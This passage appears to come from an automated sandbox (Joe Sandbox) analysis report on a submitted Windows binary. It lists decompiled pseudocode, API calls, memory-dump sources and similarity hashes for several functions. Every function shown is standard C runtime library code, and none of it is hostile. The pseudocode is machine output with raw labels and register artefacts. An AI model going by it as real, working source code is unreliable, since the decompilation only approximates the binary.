    • __alloca_probe_16.LIBCMT ref: 00F3E71A
    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00F3E77D
    • __freea.LIBCMT ref: 00F3E78A
      • Part of subcall function 00F3ADB7: RtlAllocateHeap.NTDLL(00000000,00F37A46,?,?,00F38CFE,?,?,?,?,?,00F37986,00F37A46,?,?,?,?), ref: 00F3ADE9
    • __freea.LIBCMT ref: 00F3E793
    • __freea.LIBCMT ref: 00F3E7B8
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
    • String ID:
    • API String ID: 3864826663-0
    • Opcode ID: 9bba761b942049b513b6eb982e98590eacd4f2f91d64d344e0c1d0293648b4b3
    • Instruction ID: e8fb04262da30aee8a60326ebe8681fd97f3218d43398a062b6cc5383c158e8e
    • Opcode Fuzzy Hash: 9bba761b942049b513b6eb982e98590eacd4f2f91d64d344e0c1d0293648b4b3
    • Instruction Fuzzy Hash: 9551E472A10216ABDB258F64DC41FBF7BAAEF50770F154629FD14D6280EB34DC50E6A0
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3EEF7 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
    Download Yara Rule
    C-Code - Quality: 73%
    			E00F3EEF7(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0xf4a004; // 0x355216d4
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0xf4c088 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0xf4c088 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E00F3CC24(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0xf4c088 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0xf4c088 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0xf4c088 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E00F3DD91( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E00F3DD91();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E00F37A82(_v8 ^ _t136);
			}


































    0x00f3eeff
    0x00f3ef06
    0x00f3ef09
    0x00f3ef11
    0x00f3ef15
    0x00f3ef21
    0x00f3ef24
    0x00f3ef27
    0x00f3ef2e
    0x00f3ef36
    0x00f3ef39
    0x00f3ef3f
    0x00f3ef45
    0x00f3ef4a
    0x00f3ef4c
    0x00f3ef4f
    0x00f3ef54
    0x00f3ef5e
    0x00f3ef65
    0x00f3ef68
    0x00f3ef6f
    0x00f3ef76
    0x00f3efa2
    0x00f3efc8
    0x00f3efca
    0x00000000
    0x00f3efa4
    0x00f3efa7
    0x00f3f06e
    0x00f3f07a
    0x00f3f085
    0x00f3f08a
    0x00f3efad
    0x00f3efb4
    0x00f3efb9
    0x00f3efbf
    0x00f3efc5
    0x00000000
    0x00f3efc5
    0x00f3efbf
    0x00f3efa7
    0x00f3ef78
    0x00f3ef7c
    0x00f3ef7f
    0x00f3ef85
    0x00f3ef87
    0x00f3ef8a
    0x00f3ef8e
    0x00f3efcb
    0x00f3efce
    0x00f3efcf
    0x00f3efd4
    0x00f3efda
    0x00f3efe0
    0x00f3efef
    0x00f3eff5
    0x00f3effb
    0x00f3f000
    0x00f3f01c
    0x00f3f08f
    0x00f3f095
    0x00f3f01e
    0x00f3f026
    0x00f3f02f
    0x00f3f035
    0x00000000
    0x00f3f037
    0x00f3f039
    0x00f3f03c
    0x00f3f055
    0x00000000
    0x00f3f057
    0x00f3f05b
    0x00f3f05d
    0x00f3f060
    0x00000000
    0x00f3f060
    0x00f3f05b
    0x00f3f055
    0x00f3f035
    0x00f3f02f
    0x00f3f01c
    0x00f3f000
    0x00f3efda
    0x00000000
    0x00f3f063
    0x00f3f063
    0x00f3f097
    0x00f3f0a9

    APIs
    • GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00F3F66C,?,00000000,?,00000000,00000000), ref: 00F3EF39
    • __fassign.LIBCMT ref: 00F3EFB4
    • __fassign.LIBCMT ref: 00F3EFCF
    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00F3EFF5
    • WriteFile.KERNEL32(?,?,00000000,00F3F66C,00000000,?,?,?,?,?,?,?,?,?,00F3F66C,?), ref: 00F3F014
    • WriteFile.KERNEL32(?,?,00000001,00F3F66C,00000000,?,?,?,?,?,?,?,?,?,00F3F66C,?), ref: 00F3F04D
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
    • String ID:
    • API String ID: 1324828854-0
    • Opcode ID: 6134c304f3bcdf3a5f3ba42c6d27cead37b3690056c61e59910c7270955ec3b3
    • Instruction ID: 0f655a5c046253189f6b194df6edcbbf613814d38eb282f537878242f4a7f773
    • Opcode Fuzzy Hash: 6134c304f3bcdf3a5f3ba42c6d27cead37b3690056c61e59910c7270955ec3b3
    • Instruction Fuzzy Hash: 6951B1B5E00249DFCB14CFA8D841AEEBBB8EF19320F14452AE955E7291E730A944DB60
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3CDED Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F3CDED(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00F3CDB1(_t45, 7);
					E00F3CDB1(_t45 + 0x1c, 7);
					E00F3CDB1(_t45 + 0x38, 0xc);
					E00F3CDB1(_t45 + 0x68, 0xc);
					E00F3CDB1(_t45 + 0x98, 2);
					E00F3AD7D( *((intOrPtr*)(_t45 + 0xa0)));
					E00F3AD7D( *((intOrPtr*)(_t45 + 0xa4)));
					E00F3AD7D( *((intOrPtr*)(_t45 + 0xa8)));
					E00F3CDB1(_t45 + 0xb4, 7);
					E00F3CDB1(_t45 + 0xd0, 7);
					E00F3CDB1(_t45 + 0xec, 0xc);
					E00F3CDB1(_t45 + 0x11c, 0xc);
					E00F3CDB1(_t45 + 0x14c, 2);
					E00F3AD7D( *((intOrPtr*)(_t45 + 0x154)));
					E00F3AD7D( *((intOrPtr*)(_t45 + 0x158)));
					E00F3AD7D( *((intOrPtr*)(_t45 + 0x15c)));
					return E00F3AD7D( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}




    0x00f3cdf3
    0x00f3cdf8
    0x00f3ce01
    0x00f3ce0c
    0x00f3ce17
    0x00f3ce22
    0x00f3ce30
    0x00f3ce3b
    0x00f3ce46
    0x00f3ce51
    0x00f3ce5f
    0x00f3ce6d
    0x00f3ce7e
    0x00f3ce8c
    0x00f3ce9a
    0x00f3cea5
    0x00f3ceb0
    0x00f3cebb
    0x00000000
    0x00f3cecb
    0x00f3ced0

    APIs
      • Part of subcall function 00F3CDB1: _free.LIBCMT ref: 00F3CDDA
    • _free.LIBCMT ref: 00F3CE3B
      • Part of subcall function 00F3AD7D: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?), ref: 00F3AD93
      • Part of subcall function 00F3AD7D: GetLastError.KERNEL32(?,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?,?), ref: 00F3ADA5
    • _free.LIBCMT ref: 00F3CE46
    • _free.LIBCMT ref: 00F3CE51
    • _free.LIBCMT ref: 00F3CEA5
    • _free.LIBCMT ref: 00F3CEB0
    • _free.LIBCMT ref: 00F3CEBB
    • _free.LIBCMT ref: 00F3CEC6
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free$ErrorFreeHeapLast
    • String ID:
    • API String ID: 776569668-0
    • Opcode ID: 0dae9b2922dacd5ff79092d87de0b9f4b7a3c19a7c11b442d576b64e84e7f300
    • Instruction ID: 1f12cd1d39f595617d824f2a3a25f121d782794459e1e58e882cde22e120a14c
    • Opcode Fuzzy Hash: 0dae9b2922dacd5ff79092d87de0b9f4b7a3c19a7c11b442d576b64e84e7f300
    • Instruction Fuzzy Hash: 9F115171540B04BAD520BBB1CC47FCB7B9C9F00720F404926F6EB76052DA6AB514AB91
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F392E8 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 95%
    			E00F392E8(void* __ecx, void* __edx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t26;
				void* _t29;

				if( *0xf4a020 != 0xffffffff) {
					_t26 = GetLastError();
					_t11 = E00F395E5(__eflags,  *0xf4a020);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E00F3961F(__eflags,  *0xf4a020, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t29 = E00F3AE48(_t16, 1, 0x28);
								__eflags = _t29;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E00F3961F(__eflags,  *0xf4a020, 0);
								} else {
									__eflags = E00F3961F(__eflags,  *0xf4a020, _t29);
									if(__eflags != 0) {
										_t11 = _t29;
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E00F3AD7D(_t29);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t26);
					return _t11;
				} else {
					return 0;
				}
			}








    0x00f392ef
    0x00f39302
    0x00f39309
    0x00f3930c
    0x00f3930f
    0x00f39328
    0x00f39328
    0x00f39311
    0x00f39311
    0x00f39313
    0x00f3931d
    0x00f39323
    0x00f39324
    0x00f39326
    0x00f39336
    0x00f3933a
    0x00f3933c
    0x00f39350
    0x00f39350
    0x00f39359
    0x00f3933e
    0x00f3934c
    0x00f3934e
    0x00f39362
    0x00f39364
    0x00f39364
    0x00000000
    0x00000000
    0x00000000
    0x00f3934e
    0x00f39367
    0x00000000
    0x00000000
    0x00000000
    0x00f39326
    0x00f39313
    0x00f3936f
    0x00f39379
    0x00f392f1
    0x00f392f3
    0x00f392f3

    APIs
    • GetLastError.KERNEL32(?,?,00F392DF,00F423A8), ref: 00F392F6
    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F39304
    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F3931D
    • SetLastError.KERNEL32(00000000,?,00F392DF,00F423A8), ref: 00F3936F
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ErrorLastValue___vcrt_
    • String ID:
    • API String ID: 3852720340-0
    • Opcode ID: 3688988ea2ace084a57b9da6a57a0155a00b612041d0b75e4214ea6ae0aaf165
    • Instruction ID: 8c62e0f6f13cd57295403a86015a012ae3bc0a9b48fd68b7fec5767e9258fcce
    • Opcode Fuzzy Hash: 3688988ea2ace084a57b9da6a57a0155a00b612041d0b75e4214ea6ae0aaf165
    • Instruction Fuzzy Hash: C701F777A0D7155EB7242B79BC86B6A3A9CEB16774F200329FA20910F1EFDA4C01B145
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3B29A Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 72%
    			E00F3B29A(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0xf4a044; // 0x5
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00F3AE48(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E00F3C52C(_t25, _t36, __eflags,  *0xf4a044, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E00F3B10C(_t25, _t31, 0xf4c28c);
							E00F3AD7D(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E00F3AD7D();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E00F3AE05(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0xf4a044; // 0x5
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E00F3AE48(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E00F3C52C(_t27, _t37, __eflags,  *0xf4a044, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E00F3B10C(_t27, _t32, 0xf4c28c);
									E00F3AD7D(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E00F3AD7D();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E00F3C4D6(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E00F3C4D6(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}





















    0x00f3b29a
    0x00f3b29a
    0x00f3b29a
    0x00f3b2a4
    0x00f3b2a6
    0x00f3b2ab
    0x00f3b2ae
    0x00f3b2bc
    0x00f3b2c3
    0x00f3b2c8
    0x00f3b2cb
    0x00f3b2ce
    0x00f3b2e0
    0x00f3b2e5
    0x00f3b2e7
    0x00f3b2f2
    0x00f3b2f9
    0x00f3b2fe
    0x00f3b301
    0x00f3b303
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3b2e9
    0x00f3b2e9
    0x00000000
    0x00f3b2e9
    0x00f3b2d0
    0x00f3b2d0
    0x00f3b2d1
    0x00f3b2d1
    0x00f3b2d6
    0x00f3b311
    0x00f3b312
    0x00f3b318
    0x00f3b31d
    0x00f3b320
    0x00f3b321
    0x00f3b322
    0x00f3b329
    0x00f3b32b
    0x00f3b32d
    0x00f3b332
    0x00f3b335
    0x00f3b343
    0x00f3b34f
    0x00f3b352
    0x00f3b355
    0x00f3b367
    0x00f3b36c
    0x00f3b36e
    0x00f3b379
    0x00f3b37f
    0x00f3b387
    0x00f3b389
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3b370
    0x00f3b370
    0x00000000
    0x00f3b370
    0x00f3b357
    0x00f3b357
    0x00f3b358
    0x00f3b358
    0x00f3b38b
    0x00f3b38c
    0x00f3b38c
    0x00f3b337
    0x00f3b33d
    0x00f3b341
    0x00f3b394
    0x00f3b395
    0x00f3b39b
    0x00000000
    0x00000000
    0x00000000
    0x00f3b341
    0x00f3b3a2
    0x00f3b3a2
    0x00f3b2b0
    0x00f3b2b6
    0x00f3b2ba
    0x00f3b305
    0x00f3b306
    0x00f3b310
    0x00000000
    0x00000000
    0x00000000
    0x00f3b2ba

    APIs
    • GetLastError.KERNEL32(?,?,00F3ACF8,00F49580,0000000C,00F384DE), ref: 00F3B29E
    • _free.LIBCMT ref: 00F3B2D1
    • _free.LIBCMT ref: 00F3B2F9
    • SetLastError.KERNEL32(00000000), ref: 00F3B306
    • SetLastError.KERNEL32(00000000), ref: 00F3B312
    • _abort.LIBCMT ref: 00F3B318
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ErrorLast$_free$_abort
    • String ID:
    • API String ID: 3160817290-0
    • Opcode ID: 307e573ca4f81633485cfd26b417117f36304c7a9e78ef0440814b4dd67a1249
    • Instruction ID: be87882614258aee348f14ff61bb44684a6cdb18da678238eec39381cb4d39c3
    • Opcode Fuzzy Hash: 307e573ca4f81633485cfd26b417117f36304c7a9e78ef0440814b4dd67a1249
    • Instruction Fuzzy Hash: ABF0C83A64090067C713733A6C1AB5F36599FD2731F250318FF15A2192EF69C80175B6
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3A557 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00F3A508,00000003,?,00F3A4A8,00000003,00F494F8,0000000C,00F3A5FF,00000003,00000002), ref: 00F3A577
    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F3A58A
    • FreeLibrary.KERNEL32(00000000,?,?,?,00F3A508,00000003,?,00F3A4A8,00000003,00F494F8,0000000C,00F3A5FF,00000003,00000002,00000000), ref: 00F3A5AD
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: AddressFreeHandleLibraryModuleProc
    • String ID: CorExitProcess$mscoree.dll
    • API String ID: 4061214504-1276376045
    • Opcode ID: a7cad6d00e65caa22315b1ade745d8a98a28beb78eb54c643f27349b6f02e045
    • Instruction ID: 014e11f6b60b7650c910cade69beba301f8e6aee295f2a5b98ca55a303844c52
    • Opcode Fuzzy Hash: a7cad6d00e65caa22315b1ade745d8a98a28beb78eb54c643f27349b6f02e045
    • Instruction Fuzzy Hash: BAF06235A1020CBBCB119F95EC09BADBFB4EF15725F050064FD09B2160DB75AF90EA91
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3A99B Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 83%
    			E00F3A99B(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0xf4a004; // 0x355216d4
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E00F3A387( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E00F39433(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E00F39433(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E00F39433(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E00F3D39F(_t56);
						_t40 = E00F3AD7D(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E00F3D39F(_t56);
						E00F3AD7D(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0xf4a004;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

























    0x00f3a99b
    0x00f3a9a5
    0x00f3a9a9
    0x00f3a9ab
    0x00f3a9af
    0x00f3a9b9
    0x00f3a9ca
    0x00f3a9cf
    0x00f3a9d1
    0x00f3a9d3
    0x00f3a9d5
    0x00f3a9d7
    0x00f3a9db
    0x00f3aa95
    0x00f3aaa3
    0x00f3aaa5
    0x00f3aaaa
    0x00f3aab1
    0x00f3aab3
    0x00f3aac1
    0x00f3aad0
    0x00f3aad3
    0x00f3aad5
    0x00000000
    0x00f3aad6
    0x00f3a9e3
    0x00f3a9e8
    0x00f3a9ed
    0x00f3a9ef
    0x00f3a9ef
    0x00f3a9f1
    0x00f3a9f6
    0x00f3a9fa
    0x00f3a9fa
    0x00f3a9fd
    0x00f3aa1c
    0x00f3aa1c
    0x00f3aa1e
    0x00f3aa21
    0x00f3aa2a
    0x00f3aa2d
    0x00f3aa32
    0x00f3aa35
    0x00f3aa3a
    0x00000000
    0x00000000
    0x00f3aa3c
    0x00000000
    0x00f3a9ff
    0x00f3a9ff
    0x00f3aa01
    0x00f3aa0a
    0x00f3aa0d
    0x00f3aa12
    0x00f3aa15
    0x00f3aa1a
    0x00f3aa44
    0x00f3aa47
    0x00f3aa49
    0x00f3aa4c
    0x00f3aa54
    0x00f3aa5a
    0x00f3aa61
    0x00f3aa63
    0x00f3aa6b
    0x00f3aa7a
    0x00f3aa7e
    0x00f3aa80
    0x00f3aa83
    0x00000000
    0x00000000
    0x00f3aa85
    0x00f3aa88
    0x00f3aa8a
    0x00f3aa8a
    0x00f3aa8b
    0x00f3aa8d
    0x00f3aa90
    0x00000000
    0x00f3aa8a
    0x00000000
    0x00f3aa1a
    0x00f3a9fd
    0x00000000

    APIs
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free
    • String ID:
